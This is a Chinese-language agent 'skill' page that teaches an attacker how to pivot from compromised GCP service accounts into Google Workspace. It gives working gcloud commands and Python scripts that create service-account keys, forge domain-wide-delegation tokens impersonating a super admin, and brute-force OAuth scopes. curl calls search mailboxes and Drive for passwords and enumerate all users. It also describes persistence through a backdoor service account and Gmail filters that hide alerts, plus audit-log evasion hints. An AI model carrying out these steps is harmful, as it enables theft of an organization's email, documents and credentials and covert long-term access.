skills/cloud/gcp-workspace-pivot/SKILL.md
GCP 到 Google Workspace 的穿越攻击方法论。当已获取 GCP Service Account 或 Project 权限并发现目标组织使用 Google Workspace、需要从云平台穿越到企业邮件/文档/管理控制台、或发现 Domain-Wide Delegation 配置时使用。覆盖 Domain-Wide Delegation 滥用、OAuth 范围利用、Workspace API 数据窃取(Gmail/Drive/Calendar/Admin Directory)、以及 Workspace 持久化技术
npx skillsauth add wgpsec/AboutSecurity gcp-workspace-pivotInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
GCP 与 Google Workspace 同属 Google Cloud 生态,二者通过 IAM 和 OAuth 深度绑定。当攻击者拿到 GCP Service Account 或 Project 权限后,若目标组织同时使用 Google Workspace(原 G Suite),就可能从云基础设施穿越到企业办公系统——直接访问全员邮件、文件、日历、通讯录乃至管理控制台。
为什么这个穿越如此致命:
识别到具体 Workspace 后渗透场景后,加载参考文档获取完整技术细节:
Domain-Wide Delegation 是 Google Workspace 的一项功能,允许 GCP Service Account 代表 Workspace 域内的任意用户访问 Google API。其工作流程:
1. Service Account 使用私钥签署 JWT(声明要冒充的用户和请求的 OAuth scope)
2. JWT 发送到 Google OAuth 2.0 服务,请求 Access Token
3. Google 验证 DWD 配置后返回 Access Token(代表目标用户)
4. 使用该 Token 调用 Google API(Gmail/Drive/Calendar 等),以目标用户身份操作
| 条件 | 说明 |
|------|------|
| 拥有 SA 私钥或可创建新密钥 | iam.serviceAccountKeys.create 权限 |
| SA 已配置 DWD | Admin Console 中已授权该 SA 的 Client ID |
| 知道至少一个有效 Workspace 用户邮箱 | 用于冒充,Super Admin 效果最佳 |
| SA 被授权了有用的 OAuth Scope | 如 Gmail、Drive、Admin Directory 等 |
# 列出当前项目的所有 Service Account
gcloud iam service-accounts list --project <project-id>
# 枚举所有可访问项目
for proj in $(gcloud projects list --format="value(projectId)"); do
echo "=== Project: $proj ==="
gcloud iam service-accounts list --project "$proj" \
--format="table(email,displayName,disabled)" 2>/dev/null
done
# 列出 SA 的现有密钥
gcloud iam service-accounts keys list \
--iam-account <sa-email> \
--format="table(name,validAfterTime,validBeforeTime,keyType)"
# 检查当前用户对 SA 的权限(能否创建密钥)
gcloud iam service-accounts get-iam-policy <sa-email>
# 创建新密钥(如有权限)
gcloud iam service-accounts keys create ./sa-key.json \
--iam-account <sa-email>
DWD 配置无法通过 GCP API 直接查询,需要间接判断:
# 获取 SA 的 OAuth2 Client ID(唯一标识,用于 DWD 配置)
gcloud iam service-accounts describe <sa-email> \
--format="value(oauth2ClientId)"
# 暴力尝试法:用 SA 密钥尝试生成委托令牌
# 如果成功,说明该 SA 已配置 DWD
自动化发现:使用 DeleFriend 工具可批量枚举所有 SA 并尝试各种 OAuth Scope 组合来发现 DWD 配置。
from google.oauth2 import service_account
import google.auth.transport.requests
# 目标 OAuth Scope(根据需要选择)
SCOPES = [
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive.readonly',
'https://www.googleapis.com/auth/calendar.readonly',
'https://www.googleapis.com/auth/admin.directory.user.readonly',
'https://www.googleapis.com/auth/admin.directory.group.readonly',
]
# 加载 SA 凭据并设置委托用户
credentials = service_account.Credentials.from_service_account_file(
'sa-key.json', scopes=SCOPES
)
# 冒充目标用户(Super Admin 效果最佳)
delegated_creds = credentials.with_subject('[email protected]')
# 获取 Access Token
request = google.auth.transport.requests.Request()
delegated_creds.refresh(request)
print(f"Access Token: {delegated_creds.token}")
# 使用生成的 Token 调用 API
TOKEN="<上一步获取的 token>"
# 测试 Gmail 访问
curl -s -H "Authorization: Bearer $TOKEN" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=5"
# 测试 Drive 访问
curl -s -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/drive/v3/files?pageSize=10"
当不确定 SA 被授权了哪些 Scope 时,逐个尝试:
"""批量尝试不同 OAuth Scope 组合,发现 SA 的 DWD 权限范围"""
from google.oauth2 import service_account
import google.auth.transport.requests
SCOPE_LIST = [
'https://mail.google.com/',
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive',
'https://www.googleapis.com/auth/drive.readonly',
'https://www.googleapis.com/auth/calendar',
'https://www.googleapis.com/auth/calendar.readonly',
'https://www.googleapis.com/auth/admin.directory.user',
'https://www.googleapis.com/auth/admin.directory.user.readonly',
'https://www.googleapis.com/auth/admin.directory.group',
'https://www.googleapis.com/auth/admin.directory.domain',
'https://www.googleapis.com/auth/cloud-platform',
'https://www.googleapis.com/auth/contacts.readonly',
'https://www.googleapis.com/auth/chat.messages.readonly',
]
for scope in SCOPE_LIST:
try:
creds = service_account.Credentials.from_service_account_file(
'sa-key.json', scopes=[scope]
)
delegated = creds.with_subject('[email protected]')
delegated.refresh(google.auth.transport.requests.Request())
print(f"[+] 有效 Scope: {scope}")
except Exception as e:
print(f"[-] 无效 Scope: {scope} ({e})")
当前 GCP 权限级别?
├─ 拥有 SA 私钥文件
│ ├─ SA 已配置 DWD → 直接生成委托令牌冒充任意用户
│ └─ SA 未配置 DWD → 检查其他 SA / 尝试创建新 DWD(需 Workspace Admin)
│
├─ 可创建 SA 密钥(iam.serviceAccountKeys.create)
│ ├─ 枚举所有 SA → 为每个 SA 创建密钥 → 尝试 DWD
│ └─ 使用 DeleFriend 自动化枚举
│
├─ 拥有 Workspace Super Admin(通过 GCP 提权获得)
│ ├─ 创建新 SA + 配置 DWD → 完全控制 Workspace
│ └─ 直接通过 Admin Console 操作(不需 DWD)
│
├─ 普通 Workspace 用户凭据
│ ├─ 创建新 GCP 项目 → 启用 API → 枚举 Workspace
│ ├─ 加入开放的 Google Groups → 获取额外 GCP 权限
│ └─ gcloud auth login --enable-gdrive-access → 访问 Drive
│
└─ 仅有 GCP 项目 Viewer
└─ 枚举 SA 列表 → 寻找可利用的 SA → 尝试提权路径
| OAuth Scope | 能力 | 危险等级 |
|-------------|------|----------|
| https://mail.google.com/ | Gmail 完全读写(含发送) | 极高 |
| https://www.googleapis.com/auth/gmail.readonly | 读取所有邮件 | 高 |
| https://www.googleapis.com/auth/drive | Drive 完全读写 | 极高 |
| https://www.googleapis.com/auth/admin.directory.user | 用户管理(创建/删除用户) | 极高 |
| https://www.googleapis.com/auth/admin.directory.group | 组管理 | 高 |
| https://www.googleapis.com/auth/admin.directory.domain | 域管理 | 极高 |
| https://www.googleapis.com/auth/calendar | 日历完全读写 | 中 |
| https://www.googleapis.com/auth/contacts | 通讯录读写 | 中 |
| https://www.googleapis.com/auth/chat.messages | Chat 消息读写 | 中 |
| https://www.googleapis.com/auth/cloud-platform | GCP 全权限 | 极高 |
当物理访问到已登录 gcloud 的主机时,可以劫持已有凭据来访问 Workspace:
# 检查已认证的账户
gcloud auth list
# 使用 --enable-gdrive-access 重新登录,扩展 Scope 到 Drive
gcloud auth login --enable-gdrive-access
# 用获取的 Token 访问 Drive API
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://www.googleapis.com/drive/v3/files"
高级手法:修改 google-cloud-sdk/lib/googlecloudsdk/core/config.py 中的 CLOUDSDK_SCOPES,注入额外的 OAuth Scope(如 https://www.googleapis.com/auth/drive),下次用户登录时 Token 自动携带该 Scope。
→ 读 references/workspace-post-exploit.md
| 服务 | 关键 API | 典型操作 |
|------|----------|----------|
| Gmail | gmail.googleapis.com/gmail/v1/users/me/messages | 搜索/读取邮件,提取附件 |
| Drive | www.googleapis.com/drive/v3/files | 列出/下载文件,搜索敏感文档 |
| Calendar | www.googleapis.com/calendar/v3/calendars | 读取会议安排,查看参会人 |
| Admin Directory | admin.googleapis.com/admin/directory/v1/users | 枚举用户/组/域,修改角色 |
| Chat | chat.googleapis.com/v1/spaces | 读取 Chat 消息 |
| Contacts | people.googleapis.com/v1/people/me/connections | 获取通讯录 |
TOKEN="<delegated_access_token>"
# Gmail:搜索含密码的邮件
curl -s -H "Authorization: Bearer $TOKEN" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?q=password+OR+credential+OR+密码"
# Drive:搜索敏感文件
curl -s -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/drive/v3/files?q=name+contains+'password'+or+name+contains+'credential'&fields=files(id,name,mimeType)"
# Admin Directory:枚举所有用户
curl -s -H "Authorization: Bearer $TOKEN" \
"https://admin.googleapis.com/admin/directory/v1/users?domain=target-org.com&maxResults=500"
# Admin Directory:枚举所有组
curl -s -H "Authorization: Bearer $TOKEN" \
"https://admin.googleapis.com/admin/directory/v1/groups?domain=target-org.com"
| 技术 | 前置条件 | 隐蔽性 | 持久性 | |------|----------|--------|--------| | 创建新 DWD 配置 | Workspace Super Admin | 中 | 永久(直到手动删除) | | 跨组织 DWD | 攻击者 GCP 账户 + 目标 Super Admin | 高 | 永久 | | Gmail 转发规则 | 被冒充用户身份 | 低 | 持续(直到发现) | | Gmail 过滤器隐藏告警 | 被冒充用户身份 | 高 | 持续 | | OAuth App 授权 | 用户交互或 Admin 权限 | 中 | 直到撤销 | | 委托邮箱访问 | 用户设置或 Admin 权限 | 中 | 直到撤销 | | 创建后门管理员账户 | Admin Directory 写权限 | 低 | 直到发现 | | App Script 定时触发 | 用户交互 | 高 | 持续 | | 修改 gcloud SDK Scope | 主机物理/远程访问 | 高 | 直到 SDK 更新 |
创建新 DWD 实现持久化:
# 1. 在攻击者控制的 GCP 项目中创建 SA
gcloud iam service-accounts create backdoor-sa \
--project <attacker-project>
gcloud iam service-accounts keys create backdoor-key.json \
--iam-account backdoor-sa@<attacker-project>.iam.gserviceaccount.com
# 2. 获取 SA 的 OAuth Client ID
gcloud iam service-accounts describe \
backdoor-sa@<attacker-project>.iam.gserviceaccount.com \
--format="value(oauth2ClientId)"
# 3. 在目标 Workspace Admin Console 中添加 DWD
# https://admin.google.com/ac/owl/domainwidedelegation
# 填入 Client ID 和所需 OAuth Scope
# 注意:此步骤只能手动操作,无法通过 API 完成
关键发现:DWD 的 OAuth Client ID 是全局的,跨组织 DWD 是可行的——攻击者 GCP 项目的 SA 可以被配置为目标 Workspace 组织的委托身份。只需要目标 Workspace 的 Super Admin 访问权限即可完成配置。
| 工具 | 用途 | 链接/命令 |
|------|------|-----------|
| DeleFriend | 自动化 DWD 发现与利用 | github.com/axon-git/DeleFriend |
| DelePwn | DeleFriend 增强版,含域枚举/Drive/Gmail | github.com/n0tspam/delepwn |
| gcpwn | GCP 综合利用框架 | github.com/NetSPI/gcpwn |
| gcp_delegation.py | Gitlab 红队 DWD 利用脚本 | gitlab.com/gitlab-com/gl-security/.../gcp_delegation.py |
| gcp_gen_delegation_token | 生成委托 OAuth Token | github.com/carlospolop/gcp_gen_delegation_token |
| google-api-python-client | Google API Python SDK | pip install google-api-python-client |
| PaperChaser | Drive 文档蜘蛛爬取 | github.com/mandatoryprogrammer/PaperChaser |
Google Workspace Admin Console 的审计日志会记录以下操作:
| 操作 | 告警级别 | 说明 | |------|----------|------| | 创建新 Admin 用户 | 高 | Admin 审计日志 + 邮件通知 | | 新增 DWD 配置 | 中 | Admin 审计日志(但很多组织未监控) | | 大量 API 调用 | 中 | 异常流量检测 | | 跨地理位置 Token 使用 | 低 | SA Token 通常无地理限制 | | Gmail 转发规则变更 | 高 | 安全告警推送到用户手机 | | OAuth App 授权 | 中 | 取决于组织策略 |
readonly Scope 比读写 Scope 产生更少审计条目gcp-pentesting 技能,获取 GCP 整体攻击流程和初始权限获取方法gcp-exploit 技能,获取 GCP 权限提升和 Service Account 相关利用技术testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能